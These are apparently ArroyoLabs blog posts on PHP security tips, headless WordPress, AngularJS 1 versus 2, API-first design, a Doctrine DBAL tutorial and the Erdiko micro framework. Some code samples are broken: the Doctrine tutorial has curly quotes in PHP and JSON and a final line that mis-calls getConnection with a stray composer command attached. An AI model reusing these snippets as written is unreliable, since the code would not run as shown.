Full code can be forked on  PHPSanitizer

Use prepared SQL statement every time you can, this way RDBMS will compile the query and reject invalid type parameters.

Also take care about your server hardening.

Avoid list directories on your server

Remove banners of your server

Add authentications methods

Use SSL across all your sensitive URLs

[arroyolabs]

Headless WordPress (A Primer)

What is headless

There are many great open source software packages out there.  Some of the most popular are WordPress, Drupal and Magento.  It has been gaining popularity in recent years to run these apps as headless.  But what does that mean?

Running headless means to use the admin and data collected in an app but use something else to render the front-end.  For instance you could manage all of your content in the wordpress admin but site that the end user sees is rendered in some other technology all together.

At the end of the day the websites that we visit are all HTML, CSS and JavaScript.  Behind the scenes the story get more complex.  Since all your data has been crafted in wordpress you can pull this content out and render it in your favorite

Who is it for?

So why would I decapitate my WordPress site?

Let me start by who it is not for.  If you are using wordPress and have no problems with how your site currently acts or functions than headless is not for you.

If you run a WordPress site but are having issues with scaling, security, and customizations than it is definitely something you should take a look at.  Keep reading :-)

Why headless Wordpress

Advantages There are many advantages to using an app (CMS) like WordPress headless.  To start it allows you take full control of your front-end.   More importantly it allows you to compose your site using the latest front-end technologies of your choosing.  Love Angular, React or some old Famous animation; then use it in a clean way and don’t be stuck trying to use it in a way that only some random module says it can be used.  

Use can use pure bootstrap (or Foundation) [add links] Easily integrate JavaScript If you hate PHP you are not stuck with it, you can use Node.js, RoR, Python or any other language and framework you choose. Improved security (if you use a more secure front-end) Improved It is much easier than it sounds You can more easily mix wordpress content with non-wordpress content I’ve done demos using both Potential for a richer UI/UX and faster browsing SPA, turn your blog into a single page app and impress your friends

[links to other posts]

Disadvantages Out of the box WordPress has an easy to use user front-end and numerous themes available for free or cheap on the web.  This

You can no longer use all those free wordpress themes it does take more than casual programming For a large site that has lots of content and numerous plugins, going headless could be a little time consuming If are trying to use both wordpress and Drupal 7 (or lower) you have to use one via an API I did some experiments in 2014 bootstraping both together and there are just too many conflicts.  Things may be different with Drupal 8

Basic headless

How to get headless working

In order to go headless you need to include wp-load.php, which is in the root of your wordpress code.  In my case I have wordpress in a folder wordpress/ which is inside lib/

define('WORDPRESS_ROOT', ROOT.'/lib/wordpress');

if ( !isset($wp_did_header) ) {

    $wp_did_header = true;

    require_once( WORDPRESS_ROOT . '/wp-load.php' );

}

after that you have WordPress running headless.

now try to pull some data.  For instance try, 

$post = get_post(1); // get post is a WP function to pull a single blog post by post id

var_dump($post);

How-to with Erdiko-WordPress

going headless with Erdiko is very simple if you have composer.  In your favorite composer based framework or micro framework (Laravel, Symfony, Erdiko, Slim, etc) simply run 

composer require erdiko/wordpress 0.1.*

you’re done.

To test it out create a route in your app and simply instantiate this model.

$wpModel = new \erdiko\wordpress\Model;

// you can call any wordpress api function for instance get_post() $post = $wpModel->get_post(1);

var_dump($post);

[link to full erdiko example here] https://github.com/ArroyoLabs/erdiko-wordpress

Multi-site

Multi-site works in a similar fashion, however some additional steps are needed to let WordPress know which site you are on.  Also depending on the use case there is some auto-routing you can do to make things easier.

This will be part of a future post.  It’s not as clean as the going headless on a single site.  If your multi-site is very complex you may struggle a bit running it headless.

Conclusions

Headless is great, but its not for everybody.  Keep in mind, in an enterprise scenario you either need to go headless or harden your out of the box WordPress app.

Next steps We will post more examples and advanced use case throughout the year.  Please comment and share your thoughts if you would like to see a specific headless example.  Stay tuned!

[arroyolabs]

Understanding AngularJS 2 vs AngularJS 1: Part 1

As I'm sure you know if you are reading this, the AngularJS team is planning for a major version release "very soon" that will include some major paradigm shifts. A lot of the things you learned while teaching yourself AngularJS 1.x will just not be present in AngularJS 2.

AngularJS 1.x is stable and will definitely be around for a long while with long term support from the original team. But do you really want to pass up on some of those amazing features (3-5x Performance increases, the ability to use Server Side Rendering, bragging rights)? No, of course not.

Just to make sure we can explain the concepts of Angular 2, let's briefly review the main concepts of Angular 1.

Modules & Controllers

Controllers are just Javascript objects that create scope (more on this later), setting up attributes and functions. It’s the connection point for all scopes, functions and data sources in the application. These are similar to traffic cops that direct the flow and send data back and forth between the parts of your application.

A module can be thought of as the container that holds all the different parts of your AngularJS application. These have the advantage of making your code declarative and well encapsulated.

Directives

Custom HTML elements used to enable and interact with AngularJS. This cool feature is how we instantiate your app (`ng-app`) or create custom elements that transform data and views with JS logic stored in your models and controllers.

Here is an example of a directive in AngularJS 1.3 that replaced a `<burrito />` directive with an image of a burrito:

HTML

   <div>      <burrito></burrito>    </div>

JS

var app = angular.module('plunker', []);

app.controller('MainCtrl', function($scope) { });

app.directive('burrito', function(){    return {      restrict: 'E',      replace: true,      scope: true,      template: '<img src="[ASSET SOURCE]" />'    }; });

http://plnkr.co/edit/5FqWCktDEgyl3RfMeD62

Scope

The Application model and context, defined by an angular element. Defined hierarchically, scopes can be passed between elements

It’s important to note that Controllers, Services and Directives all have their own nested scopes. This can get messy when you are passing around data and need to make sure you aren't polluting your own scope.

Databinding

While this is a great feature, it's incredibly slow. Every digest cycle has to check ALL of these variables and update them appropriately.

Data binding is that magic that lets you sync data between your models and your view. In a sentence: your model's data is bound to the view and your view is bound to your model's data.

Here is a quick example: 

HTML

<fieldset     <h1>Hello {{name}}!</h1>     <fieldset>       <label>an example of databinding:</label>       <br>       <input type="text" ng-model="name" />    

JS

var app = angular.module('plunker', []);app.controller('MainCtrl', function($scope) {     $scope.name = 'World'; });

http://embed.plnkr.co/FnqRSydEIu0hlwYXHmoI/

This is that awesome thing that does that sweet 'live' updating of values in your forms. Most likely, this was the huge selling point when you first started learning about AngularJS and the 'reactive' web.

We’ll explore where these things start to differ in Angular 2 in our next post

[arroyolabs]

Talk about API first development

It was a pleasure speaking at the WAPRO event by Uncoded earlier this month.  I got to speak about API first architectures and open source mash ups with Erdiko.

API first is a technology paradigm for building apps that is emerging as an excellent way to think about your application and how it grows.  We’ve been a big fan of it for a while now.

The early days of web software (websites) were desktop first.  With the rise of smart phones and tablets it moved to a Mobile First paradigm.  We’re now seeing a shift to API First.

What does that mean?

It means that you are designing your app at the data and interaction level first.  This will inform your mobile UI, desktop UI, and public/partner APIs.

We will write more on this topic in posts to come.   Till then, download the slides from my talk in Long Beach, CA.

http://arroyolabs.com/downloads/talks/WAPRO-Talk.pdf

[arroyolabs]

Fun with logos

Shopify had a good article about easy branding for online stores, I couldn’t help but play around with one of the logo generators.  I took the HipsterLogoGenerator.com for a spin.

Here are a couple of examples of my handiwork.

Not bad for 60 seconds of work.

[arroyolabs]

Tutorial: Doctrine DBAL (PHP Database Abstraction Layer)

This tutorial will show you how to connect a database using Doctrine DBAL.  The examples are for Erdiko, but could be applied to any PHP framework that uses composer.

Installation

If you have not installed Erdiko, please go to http://erdiko.org/getStarted.html#installation

To install Erdiko via Composer. simply run

composer create-project erdiko/erdiko my-project-name

After you have installed Erdiko (or your other favorite framework), it is very easy to install Doctrine.

via composer:

composer require doctrine/dbal 2.3.*

Alternatively, you can do it by hand by modifying the composer.json file in the root folder.  You just need to add this line:

{"require": {"doctrine/dbal": "2.3.4"}}

Then run 'composer update' to install Doctrine DBAL.

Basic usage

1. Getting a connection

We can get a connection through the Doctrine\DBAL\DriverManager class.

$connectionParams = array(     'dbname' => ‘database_name',     'user' => ‘user_name',     'password' => ‘user_password',     'host' => 'localhost',     'driver' => 'pdo_mysql' ); $conn = \Doctrine\DBAL\DriverManager::getConnection($connectionParams, $config);

Now, you are ready to retrieve and manipulate data.

2. Data Retrieval And Manipulation

After you have established a connection with database, it is easy to manipulation data.

In this tutorial, we create a table “Products" and create three fields for it.

The three fields are Name, Qty, and Price.

Inserting Data

$sql = "INSERT INTO Products (Name, Qty, Price) VALUES ('Mango', '10',5)"; $stmt = $conn->query($sql);

Retrieving Data

$sql = "SELECT * FROM Products";

$stmt = $conn->query($sql);

while ($row = $stmt->fetch()) {

    echo $row['Name’].’, Qty: '.$row['Qty’].’, Price: '.$row['Price'];

}

The output should be “Mango, Qty:10, Price:5”.

Advanced usage:

To perform fancy data manipulation or query, we will need to set up the class loader before establishing a connection.

Setting up class loader

We can open the Example controller(Example.php) under Erdiko/app/controllers/.

In the Example controller, we will need to add the following line before the class scope and it will allow the program to access the class ClassLoader.

use Doctrine\Common\ClassLoader;

Then, we can add the following code to a page.

$classLoader = new ClassLoader('Doctrine’);

$classLoader->register();

$config = new \Doctrine\DBAL\Configuration();

Note: 

It is not a good practice to set connection parameters every time we get a connection with database.  A better way to do it would be storing all these parameters to a config file and creating a data model to read the config file.

For example, we can create a db.json config file under Erdiko/app/config/local/

In the db.json, we can set the connection parameters.

{

      “data":{       

          “dbname": 'database_name',

          “user": ‘user_name',

          “password": ‘user_password',

          “host": 'localhost',

          “driver": 'pdo_mysql'

     }

}

Then, we can create a data model and it should looking something like below.

public function getDbConfig($dbConfig)

{

     $config = \Erdiko::getConfig(“local/db”);

     $connectionParams = array(

         'dbname' => $config[“data"]["dbname"],

         'user' =>  $config[“data"]["user"],

         'password' =>  $config[“data"]["password"],

         'host' =>  $config[“data"]["host"],

         'driver' =>  $config[“data"]["driver"],

     );

     return $connectionParams;

}

The getDbConfig function will make the program easy to maintain and also reduce the amount of code.

Now, getting a connection will be only required the following line:

$conn = \Doctrine\DBAL\DriverManager::getConnection($connectionParams, getDbConfig('data'));composer create-project erdiko/erdiko project-name

[arroyolabs]

PHP mashups and micro frameworks

Over the last two years we've been developing our php micro framework.  It came out of the need for more concise theming and mashing up data sources.  This lead to the development of Erdiko.  It's an MVC micro framework that facilitates lean stacks and cool mash-ups.  Our moto is, "Enterprise Glue."

We developed a simple yet powerful framework to get work done quickly yet maintain efficiency on the server.  Unfortunately too many of the large php frameworks suffer from performance issues.  Its typically caused by code bloat and or too much automagic happening.  For some projects this is great, for others it just gets in the way.

MVC

On the view side, Erdiko supports standard php templates, markdown and handlebars.  On the controller side we package all our content to rendered through a Response object and theme and/or structure the data according to your needs.  A rest api or ajax request does not need a themed page wrapper for instance.  Structured json is preferred.

Here is an example of a coding simple page.  It sets the page title and renders a single view in the page body.  A controller method like, getHello() might look like this:

$this->setTitle('Hello World'); $this->addView('examples/index');

The model layer is the mash up layer.  We actually don't include much code here intentionally.  The models should be based on what your project is trying to accomplish.  We don't want to assume we know your data better than you do!  We will be adding support to pull data from Drupal, Magento and WordPress.  If you need an ORM or MySQL connector use Doctrine, Zend Models, or whatever works best for you.  We've used a number of data models in the past with erdiko.  Its great to be able to leverage some of the great PHP you already know.  We will be writing more blog posts to show you architectures and code styles that help you make a clean mash up.  We're talking about sound engineering here, not some frankenstein monster ;-)

Router

The router is based on ToroPHP which borrows the conventions from Tornado (popular Python framework).  We have the guts or Toro (single file framework of only 125 lines) underneath erdiko.  We mantain compatibility with toro yet extend it to meet the needs of erdiko.

All of the routes are defined in a simple json file with a concise syntax that supports expressions.  There are also hooks that can be used before and after controller requests

Closing

The framework is a culmination of years of software writing and working with both start ups and large enterprises.  It's a work in progress but we use it in production and are constantly improving it.  We've tried a lot of different techniques and architectures, with the latest version of erdiko we did some serious rewrites and made something we're proud of.

I hope you find it useful.  Please give us feedback, fork it, remix it, and contribute back.

Check out more at http://erdiko.org/